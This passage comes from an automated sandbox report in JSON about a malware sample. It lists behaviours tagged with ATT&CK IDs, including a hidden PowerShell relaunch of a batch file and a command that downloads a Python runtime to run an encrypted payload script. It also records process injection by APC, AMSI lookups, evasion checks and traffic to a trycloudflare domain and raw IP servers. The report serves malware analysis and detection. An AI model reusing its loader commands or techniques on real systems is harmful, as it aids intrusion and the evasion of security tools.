Access","mitre_attack_id":"T1518","relevance":10,"id":"registry-55","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"level":"informative","category":"External Systems","name":"Detected Suricata Alert","description":"Detected alert \"ET HUNTING TryCloudFlare Domain in TLS SNI\" (SID: 2058175, Rev: 1, Severity: 3) categorized as \"Misc activity\"\n Detected alert \"ET INFO Observed trycloudflare .com Domain in TLS SNI\" (SID: 2060250, Rev: 1, Severity: 3) categorized as \"Misc activity\"","origin":"Suricata Alerts","relevance":10,"id":"suricata-0","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"level":"informative","category":"General","name":"Able to aggregate collected data, possibly for exfiltration","description":"\"p.zip\" copied on \"%TEMP%\\p.zip\"\n \"python314.zip\" copied on \"%LOCALAPPDATA%\\xt\\python314.zip\"","origin":"Binary File","mitre_attack_id":"T1074","relevance":1,"id":"binary-87","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"level":"informative","category":"General","name":"Able to decompress files using PowerShell","description":"file/memory contains long string(File: \"2cab35576d40a8dd509ec54d0a6654597f2566f1e2fb0fa1635573c391c60a1d.bin\")\n Found string \"powershell -Command \"iwr 'https://www.python.org/ftp/python/3.14.0/python-3.14.0rc3-embed-amd64.zip' -OutFile '%TEMP%\\p.zip'; expand-archive '%TEMP%\\p.zip' '%A%' -Force\"\" (File: \"2cab35576d40a8dd509ec54d0a6654597f2566f1e2fb0fa1635573c391c60a1d.bin\")\n Found string \"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\expand-archive.*\" (Source: \"00000000-00005872-00000C2E-86522806198\")\n Found string \"powershell -Command \"iwr 'https://www.python.org/ftp/python/3.14.0/python-3.14.0rc3-embed-amd64.zip' -OutFile '%TEMP%\\p.zip'; expand-archive '%TEMP%\\p.zip' '%LOCALAPPDATA%\\xt' -Force\"\" (File: \"powershell.exe\")","origin":"File/Memory","mitre_attack_id":"T1140","relevance":3,"id":"string-825","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"level":"informative","category":"General","name":"Accesses Software Policy Settings","description":"$33","origin":"Registry Access","mitre_attack_id":"T1012","relevance":10,"id":"registry-18","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"level":"informative","category":"General","name":"Accesses System Certificates Settings","description":"$34","origin":"Registry Access","mitre_attack_id":"T1112","relevance":10,"id":"registry-17","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"level":"informative","category":"General","name":"Calls GetProcAddress on AmsiScanBuffer function (may used to bypass AMSI)","description":"\"powershell.exe\" called \"GetProcAddress\" with a parameter \"AmsiScanBuffer\" (UID: 00000000-00003044)\n \"powershell.exe\" called \"GetProcAddress\" with a parameter \"AmsiScanBuffer\" (UID: 00000000-00005872)\n \"powershell.exe\" called \"GetProcAddress\" with a parameter \"AmsiScanBuffer\" (UID: 00000000-00006572)","origin":"API Call","mitre_attack_id":"T1562.001","relevance":1,"id":"api-179","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create a process","description":"$35","origin":"API Call","mitre_attack_id":"T1106","relevance":5,"id":"api-128","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create an instance of a named pipe","description":"\"powershell.exe\" called \"NtCreateNamedPipeFile\" with parameter \"pipe\\PSHost.134190582474343413.3044.DefaultAppDomain.powershell\" - (UID: 00000000-00003044)\n \"powershell.exe\" called \"NtCreateNamedPipeFile\" with parameter \"pipe\\PSHost.134190583224755202.5872.DefaultAppDomain.powershell\" - (UID: 00000000-00005872)\n \"powershell.exe\" called \"NtCreateNamedPipeFile\" with parameter \"pipe\\PSHost.134190587378166038.6572.DefaultAppDomain.powershell\" - (UID: 00000000-00006572)","origin":"API Call","mitre_attack_id":"T1570","relevance":3,"id":"api-138","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"level":"informative","category":"General","name":"Calls an API typically used to load libraries","description":"$36","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-175","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"level":"informative","category":"General","name":"Calls an API typically used to retrieve function addresses","description":"details too long to display","origin":"API Call","mitre_attack_id":"T1106","relevance":1,"id":"api-176","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"level":"informative","category":"General","name":"Contacts domains","description":"\"opposite-lodge-strict-closes.trycloudflare.com\"","origin":"Network Traffic","mitre_attack_id":"T1071","relevance":1,"id":"network-0","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"level":"informative","category":"General","name":"Contacts server","description":"\"104.16.231.132:443\"\n \"167.82.48.223:443\"\n \"91.92.242.249:7377\"\n \"91.92.240.127:6000\"","origin":"Network Traffic","mitre_attack_id":"T1071","relevance":1,"id":"network-1","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"level":"informative","category":"General","name":"Contains ability to create/open files (API string)","description":"file/memory contains long string with (Indicator: \"CreateFile\"; File: \"AMSI\")\n Found reference to API \"CreateFileW\" (Indicator: \"CreateFile\"; Source: \"00000000-00003044.00000001.171730.B94B2000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-315","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"level":"informative","category":"General","name":"Contains ability to execute Windows APIs","description":"$37","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-101","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"level":"informative","category":"General","name":"Contains ability to executes commands or batch file","description":"Found string \":\\WINDOWS\\system32\\cmd.exe /c \"\"C:\\2cab35576d40a8dd509ec54d0a6654597f2566f1e2fb0fa1635573c391c60a1d.bin.bat\" h \"\" (Indicator: \"\\system32\\cmd.exe /c \"; Source: \"00000000-00003044.00000001.171730.4C0C0000.00000004.mdmp\")\n Found string \":\\WINDOWS\\system32\\cmd.exe /c \"\"C:\\2cab35576d40a8dd509ec54d0a6654597f2566f1e2fb0fa1635573c391c60a1d.bin.bat\" h \"\" (Indicator: \"cmd.exe /c\"; Source: \"00000000-00003044.00000001.171730.4C0C0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1059.003","relevance":1,"id":"string-174","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"level":"informative","category":"General","name":"Contains ability to find and load resources of specific modules (API string)","description":"Found reference to API \"SizeofResource\" (Indicator: \"SizeofResource\"; Source: \"00000000-00003044.00000001.171730.B94B2000.00000002.mdmp\")\n Found reference to API \"LockResource\" (Indicator: \"LockResource\"; Source: \"00000000-00003044.00000001.171730.B94B2000.00000002.mdmp\")\n Found reference to API \"LoadResource\" (Indicator: \"LoadResource\"; Source: \"00000000-00003044.00000001.171730.B94B2000.00000002.mdmp\")\n Found reference to API \"FindResourceW\" (Indicator: \"FindResource\"; Source: \"00000000-00003044.00000001.171730.B94B2000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-550","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"level":"informative","category":"General","name":"Contains ability to retrieve/open a process (API string)","description":"Found reference to API \"GetProcessHeap\" (Indicator: \"GetProcessHeap\"; Source: \"00000000-00003044.00000001.171730.B94B2000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-272","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"level":"informative","category":"General","name":"Contains ability to set/get the last-error code for a calling thread (API string)","description":"Found reference to API \"GetLastError\" (Indicator: \"GetLastError\"; Source: \"00000000-00003044.00000001.171730.B94B2000.00000002.mdmp\")\n Found reference to API \"SetLastError\" (Indicator: \"SetLastError\"; Source: \"00000000-00003044.00000001.171730.B94B2000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-319","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"level":"informative","category":"General","name":"Contains ability to start a process (Powershell command string)","description":"$38","origin":"File/Memory","mitre_attack_id":"T1543","relevance":1,"id":"string-250","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"level":"informative","category":"General","name":"Contains registry location strings","description":"$39","origin":"File/Memory","mitre_attack_id":"T1012","relevance":1,"id":"string-120","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"level":"informative","category":"General","name":"Creates mutants","description":"$3a","origin":"Created Mutant","mitre_attack_id":"T1480","relevance":3,"id":"mutant-0","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"level":"informative","category":"General","name":"Drops files marked as clean","description":"$3b","origin":"Binary File","relevance":10,"id":"binary-16","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"level":"informative","category":"General","name":"Executes Powershell command strings","description":"Process \"powershell.exe\" with commandline \"powershell -Command \"iwr 'https://www.python.org/ftp/python/3.14.0/python-3.14.0rc3-embed-amd64.zip' -OutFile '%TEMP%\\\\p.zip'; expand-archive '%TEMP%\\\\p.zip' '%LOCALAPPDATA%\\\\xt' -Force\"\" (UID: 00000000-00005872)","origin":"Monitored Target","mitre_attack_id":"T1059.001","relevance":1,"id":"target-486","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"level":"informative","category":"General","name":"Executes a Python script","description":"Process \"python.exe\" with commandline \"%LOCALAPPDATA%\\\\xt\\\\zmorf.py\" -i s2.bin -k s2.txt -c -v (UID: 00000000-00003540)","origin":"Monitored Target","mitre_attack_id":"T1059.006","relevance":1,"id":"target-318","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"level":"informative","category":"General","name":"Executes batch file","description":"Process \"cmd.exe\" with commandline \"/c \"\"C:\\\\2cab35576d40a8dd509ec54d0a6654597f2566f1e2fb0fa1635573c391c60a1d.bin.bat\" \"\" (UID: 00000000-00002240)\n Process \"powershell.exe\" with commandline \"powershell -WindowStyle Hidden -Command \"Start-Process -FilePath 'C:\\\\2cab35576d40a8dd509ec54d0a6654597f2566f1e2fb0fa1635573c391c60a1d.bin.bat' -ArgumentList 'h' -WindowStyle Hidden\"\" (UID: 00000000-00003044)\n Process \"cmd.exe\" with commandline \"/c \"\"C:\\\\2cab35576d40a8dd509ec54d0a6654597f2566f1e2fb0fa1635573c391c60a1d.bin.bat\" h \"\" (UID: 00000000-00003108)","origin":"Monitored Target","mitre_attack_id":"T1059","relevance":3,"id":"target-220","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"level":"informative","category":"General","name":"Executes powershell with commandline","description":"$3c","origin":"Monitored Target","mitre_attack_id":"T1059.001","relevance":5,"id":"target-110","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"level":"informative","category":"General","name":"Fails to load modules at runtime","description":"$3d","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-22","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"level":"informative","category":"General","name":"File contains dynamic base/NX flags","description":"$3e","origin":"Static Parser","id":"static-154","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"level":"informative","category":"General","name":"Found E-Mail address in binary/memory","description":"Pattern match: \"premium-server@thawte.com\"","origin":"File/Memory","mitre_attack_id":"T1114","relevance":3,"id":"string-63","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"level":"informative","category":"General","name":"Found named pipe like strings","description":"Found string - \\\\.\\pipe\\PSHost.134190582474343413.3044.DefaultAppDomain.powershell\n Found string - \\\\.\\pipe\\PSHost.134190583224755202.5872.DefaultAppDomain.powershell\n Found string - \\\\.\\pipe\\PSHost.134190587378166038.6572.DefaultAppDomain.powershell","origin":"File/Memory","mitre_attack_id":"T1559","relevance":1,"id":"string-146","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"level":"informative","category":"General","name":"Found registry location strings in memory","description":"$3f","origin":"Memory Dumps","mitre_attack_id":"T1012","relevance":1,"id":"memorydump-10","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"level":"informative","category":"General","name":"Loads modules at runtime","description":"$40","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-7","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"level":"informative","category":"General","name":"Loads the .NET runtime environment","description":"\"powershell.exe\" loaded module \"%WINDIR%\\assembly\\NativeImages_v4.0.30319_64\\mscorlib\\fe2524177eb3088c77be666722039f52\\mscorlib.ni.dll\" at 99BD0000\n \"explorer.exe\" loaded module \"%WINDIR%\\assembly\\NativeImages_v4.0.30319_64\\mscorlib\\fe2524177eb3088c77be666722039f52\\mscorlib.ni.dll\" at 99100000","origin":"Loaded Module","mitre_attack_id":"T1129","id":"module-3","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"level":"informative","category":"General","name":"Loads the AMSI (Antimalware Scan Interface) DLL","description":"\"powershell.exe\" loaded module \"%WINDIR%\\System32\\amsi.dll\" at BBAA0000\n \"powershell.exe\" loaded module \"%WINDIR%\\System32\\amsi.dll\" at BC2F0000\n \"explorer.exe\" loaded module \"%WINDIR%\\System32\\amsi.dll\" at C2DB0000","origin":"Loaded Module","mitre_attack_id":"T1562.001","id":"module-8","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"level":"informative","category":"General","name":"Loads the Bcrypt module DLL","description":"\"cmd.exe\" loaded module \"%WINDIR%\\System32\\bcryptprimitives.dll\" at D7F20000\n \"cmd.exe\" loaded module \"%WINDIR%\\System32\\bcrypt.dll\" at D6B90000\n \"powershell.exe\" loaded module \"%WINDIR%\\System32\\bcryptprimitives.dll\" at D7F20000\n \"powershell.exe\" loaded module \"%WINDIR%\\System32\\bcrypt.dll\" at D6B90000\n \"python.exe\" loaded module \"%WINDIR%\\System32\\bcrypt.dll\" at D6B90000\n \"python.exe\" loaded module \"%WINDIR%\\System32\\bcryptprimitives.dll\" at D7F20000\n \"explorer.exe\" loaded module \"%WINDIR%\\System32\\bcryptprimitives.dll\" at D7F20000\n \"explorer.exe\" loaded module \"%WINDIR%\\System32\\bcrypt.dll\" at D6B90000","origin":"Loaded Module","mitre_attack_id":"T1027","id":"module-9","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"level":"informative","category":"General","name":"Loads the CLR Loader DLL","description":"\"powershell.exe\" loaded module \"%WINDIR%\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll\" at 9C550000\n \"explorer.exe\" loaded module \"%WINDIR%\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll\" at 9A700000","origin":"Loaded Module","mitre_attack_id":"T1620","id":"module-7","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"level":"informative","category":"General","name":"Loads the RPC (Remote Procedure Call) module DLL","description":"\"cmd.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at DA440000\n \"powershell.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at DA440000\n \"python.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at DA440000\n \"explorer.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at DA440000","origin":"Loaded Module","mitre_attack_id":"T1129","id":"module-10","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"level":"informative","category":"General","name":"Looks up procedures from modules (excluding apphelp.dll, kernel32.dll, user32.dll, gdi32.dll, ole32.dll, comctl32.dll, uxtheme.dll, oleaut32.dll, version.dll, msctfime.ime)","description":"\"19001a00d900000040c711d8fa7f0000@ntdll.dll\"\n \"22002300d900000018c711d8fa7f0000@ntdll.dll\"\n \"19001a000000000040c711d8fa7f0000@ntdll.dll\"\n \"220023000000000018c711d8fa7f0000@ntdll.dll\"\n \"19001a003c00000040c711d8fa7f0000@ntdll.dll\"\n \"\"#<@ntdll.dll\"","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-8","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"level":"informative","category":"General","name":"Matched Compiler/Packer signature (DIE)","description":"$41","origin":"Static Parser","mitre_attack_id":"T1027","id":"static-157","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"level":"informative","category":"General","name":"Observed Powershell command strings","description":"file/memory contains long string with (Indicator: \"Expand-Archive\"; File: \"2cab35576d40a8dd509ec54d0a6654597f2566f1e2fb0fa1635573c391c60a1d.bin\")\n Found string \"powershell -Command \"iwr 'https://www.python.org/ftp/python/3.14.0/python-3.14.0rc3-embed-amd64.zip' -OutFile '%TEMP%\\p.zip'; expand-archive '%TEMP%\\p.zip' '%A%' -Force\"\" (Indicator: \"Expand-Archive\"; File: \"2cab35576d40a8dd509ec54d0a6654597f2566f1e2fb0fa1635573c391c60a1d.bin\")\n Found string \"iwr 'https://www.python.org/ftp/python/3.14.0/python-3.14.0rc3-embed-amd64.zip' -OutFile 'C:\\Users\\HAPUBWS\\AppData\\Local\\Temp\\p.zip'; expand-archive 'C:\\Users\\HAPUBWS\\AppData\\Local\\Temp\\p.zip' 'C:\\Users\\HAPUBWS\\AppData\\Local\\xt' -Force\" (Indicator: \"Expand-Archive\"; File: \"AMSI\")\n Found string \"powershell -Command \"iwr 'https://www.python.org/ftp/python/3.14.0/python-3.14.0rc3-embed-amd64.zip' -OutFile '%TEMP%\\p.zip'; expand-archive '%TEMP%\\p.zip' '%LOCALAPPDATA%\\xt' -Force\"\" (Indicator: \"Expand-Archive\"; File: \"powershell.exe\")","origin":"File/Memory","mitre_attack_id":"T1059.001","relevance":1,"id":"string-187","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"level":"informative","category":"General","name":"Overview of unique CLSIDs touched in registry","description":"$42","origin":"Registry Access","mitre_attack_id":"T1546.015","relevance":3,"id":"registry-72","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"level":"informative","category":"General","name":"Possibly uses system binaries (Windows LOLbins)","description":"Observed system executable string:\"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" [Source: 00000000-00002240-00000BC0-1669386158]\n Observed system executable string:\"%WINDIR%\\System32\\cmd.exe\" [Source: 00000000-00003044-00000BC0-1679171322]\n Observed system executable string:\"%WINDIR%\\py.exe.FriendlyAppName\" [Source: 00000000-00003108-00000BC1-1745040654]\n Observed system executable string:\"%WINDIR%\\py.exe.ApplicationCompany\" [Source: 00000000-00003108-00000BC1-1745040840]\n Observed system executable string:\"%WINDIR%\\py.exe\" [Source: 00000000-00003108-00000C47-157172916588]\n Observed system executable string:\"\"%WINDIR%\\py.exe\" \"%LOCALAPPDATA%\\xt\\zmorf.py\" -i s2.bin -k s2.txt -c -v\" [Source: 00000000-00003108-00000C47-157172916588]\n Observed system executable string:\"%WINDIR%\\explorer.exe\" [Source: 00000000-00007628-00000BC0-1735614722]","origin":"File/Memory","relevance":1,"id":"string-170","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"level":"informative","category":"General","name":"Process launched with changed environment","description":"$43","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":10,"id":"target-67","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"level":"informative","category":"General","name":"Queries DNS server","description":"\"opposite-lodge-strict-closes.trycloudflare.com\"\n \"www.python.org\"","origin":"Network Traffic","mitre_attack_id":"T1071.004","relevance":1,"id":"network-51","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"level":"informative","category":"General","name":"Reads Windows Trust Settings","description":"\"powershell.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\WINTRUST\\TRUST PROVIDERS\\SOFTWARE PUBLISHING\"; Key: \"STATE\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":5,"id":"registry-20","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"level":"informative","category":"General","name":"Reads information about supported languages","description":"\"cmd.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CUSTOMLOCALE\"; Key: \"EN-US\")\n \"cmd.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\EXTENDEDLOCALE\"; Key: \"EN-US\")\n \"cmd.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LOCALE\"; Key: \"00000409\")\n \"powershell.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CUSTOMLOCALE\"; Key: \"EN-US\")\n \"powershell.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\EXTENDEDLOCALE\"; Key: \"EN-US\")\n \"powershell.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LOCALE\"; Key: \"00000409\")\n \"powershell.exe\" (Path: \"HKCU\\CONTROL PANEL\\INTERNATIONAL\"; Key: \"SYEARMONTH\")\n \"powershell.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CUSTOMLOCALE\"; Key: \"EN\")\n \"powershell.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\EXTENDEDLOCALE\"; Key: \"EN\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":3,"id":"registry-25","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"level":"informative","category":"General","name":"References Windows file paths for DLLs (possible dropped files)","description":"$44","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-625","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"level":"informative","category":"General","name":"Spawns new processes","description":"$45","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":3,"id":"target-25","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"level":"informative","category":"General","name":"Spawns new processes that are not known child processes","description":"$46","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":3,"id":"target-103","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"level":"informative","category":"General","name":"The input sample is signed with a certificate","description":"$47","origin":"Certificate Data","mitre_attack_id":"T1553.002","relevance":10,"id":"certificate-0","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"level":"informative","category":"General","name":"Writes files in a temp directory","description":"\"powershell.exe\" writes to a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_101rittz.p4e.ps1\"\n \"powershell.exe\" writes to a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_fpsdrg3m.qbj.psm1\"\n \"powershell.exe\" writes to a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_x0ien3mv.x3r.ps1\"\n \"powershell.exe\" writes to a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_kjwqxdww.vgw.psm1\"\n \"powershell.exe\" writes to a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\p.zip\"","origin":"API Call","mitre_attack_id":"T1005","relevance":1,"id":"api-267","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"level":"informative","category":"Installation/Persistence","name":"Contains ability to load modules (API string)","description":"Found reference to API \"LoadLibraryExW\" (Indicator: \"LoadLibrary\"; Source: \"00000000-00003044.00000001.171730.B94B2000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-310","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"level":"informative","category":"Installation/Persistence","name":"Creates a thread in a self process","description":"\"cmd.exe\" creates a thread in process \"-1\" (Handle: FFFFFFFFFFFFFFFF)\n \"powershell.exe\" creates a thread in process \"-1\" (Handle: FFFFFFFFFFFFFFFF)","origin":"API Call","mitre_attack_id":"T1055.003","relevance":3,"id":"api-264","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"level":"informative","category":"Installation/Persistence","name":"Creates new processes","description":"\"msedge.exe\" is creating a new process (Name: \"C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe\")","origin":"API Call","mitre_attack_id":"T1106","relevance":8,"id":"api-2","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"level":"informative","category":"Installation/Persistence","name":"Dropped files","description":"$48","origin":"Binary File","mitre_attack_id":"T1105","relevance":3,"id":"binary-0","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"level":"informative","category":"Installation/Persistence","name":"Drops a license file","description":"\"LICENSE.txt\" has type \"ASCII text with CRLF LF line terminators\"- Location: [%LOCALAPPDATA%\\xt\\LICENSE.txt]- [targetUID: 00000000-00005872]","origin":"Binary File","mitre_attack_id":"T1083","relevance":1,"id":"binary-50","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"level":"informative","category":"Installation/Persistence","name":"Monitors specific registry key for changes","description":"$49","origin":"API Call","mitre_attack_id":"T1012","relevance":4,"id":"api-12","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"level":"informative","category":"Installation/Persistence","name":"Opens registry keys","description":"$4a","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-177","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"level":"informative","category":"Installation/Persistence","name":"Potential hijacking of DLL execution flow detected","description":"$4b","origin":"Binary File","mitre_attack_id":"T1574.001","relevance":5,"id":"binary-91","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"level":"informative","category":"Installation/Persistence","name":"Queries basic information of the specified process","description":"\"cmd.exe\" queries basic process information of the \"C:\\Windows\\System32\\cmd.exe\" (UID: 2240)","origin":"API Call","mitre_attack_id":"T1057","relevance":1,"id":"api-235","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"level":"informative","category":"Installation/Persistence","name":"Queries registry keys","description":"$4c","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-172","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"level":"informative","category":"Installation/Persistence","name":"Queues an Asynchronous Procedure Call (APC) in a remote process (injection)","description":"\"python.exe\" called \"NtQueueApcThread\" (UID: 00000000-00007628)\n \"python.exe\" called \"NtQueueApcThread\" (UID: 00000000-00007708)","origin":"API Call","mitre_attack_id":"T1055.004","relevance":3,"id":"api-85","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"level":"informative","category":"Installation/Persistence","name":"Reads files","description":"\"cmd.exe\" reads file \"c:\\2cab35576d40a8dd509ec54d0a6654597f2566f1e2fb0fa1635573c391c60a1d.bin.bat\"\n \"powershell.exe\" reads file \"c:\\windows\\system32\\windowspowershell\\v1.0\\powershell.exe.config\"\n \"powershell.exe\" reads file \"c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\config\\machine.config\"\n \"powershell.exe\" reads file \"c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\mscorlib\\fe2524177eb3088c77be666722039f52\\mscorlib.ni.dll.aux\"","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-243","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"level":"informative","category":"Installation/Persistence","name":"Shows ability to use execution guardrails","description":"The analysis shows indicators which can be used as execution guardrails to ensure that payload only executes against intended targets/system. Matched sigs: Able to identify virtual environment by using API string\n Matched sigs: Contains ability to delay execution by waiting for signal/timeout (API string)\n Matched sigs: Contains ability to retrieve the time elapsed since the system was started (API string)\n Matched sigs: Observed a high volume of repeated registry API calls (API Hammering)\n Matched sigs: Attempts to call APIs commonly associated with anti-analysis and evasion techniques\n Matched sigs: Triggers a burst of requests to the same API (API Hammering)","origin":"Indicator Combinations","mitre_attack_id":"T1480","relevance":1,"id":"summary-29","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"level":"informative","category":"Installation/Persistence","name":"Touches files","description":"\"cmd.exe\" trying to touch file \"C:\\Windows\\System32\\fltLib.dll\"\n \"cmd.exe\" trying to touch file \"C:\\Windows\\System32\\KernelBase.dll\"\n \"cmd.exe\" trying to touch file \"C:\\Windows\\System32\\cmd.exe\"\n \"cmd.exe\" trying to touch file \"C:\\windows\\temp\\VxOle64.dll\"\n \"cmd.exe\" trying to touch file \"C:\\Windows\\System32\\imm32.dll\"\n \"cmd.exe\" trying to touch file \"C:\\WINDOWS\\system32\\IMM32.DLL\"\n \"cmd.exe\" trying to touch file \"\\Device\\CNG\"\n \"cmd.exe\" trying to touch file \"C:\\Windows\\System32\\oleaut32.dll\"\n \"cmd.exe\" trying to touch file \"C:\\WINDOWS\\system32\\oleaut32.dll\"","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-263","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"level":"informative","category":"Installation/Persistence","name":"Touches files in the Windows 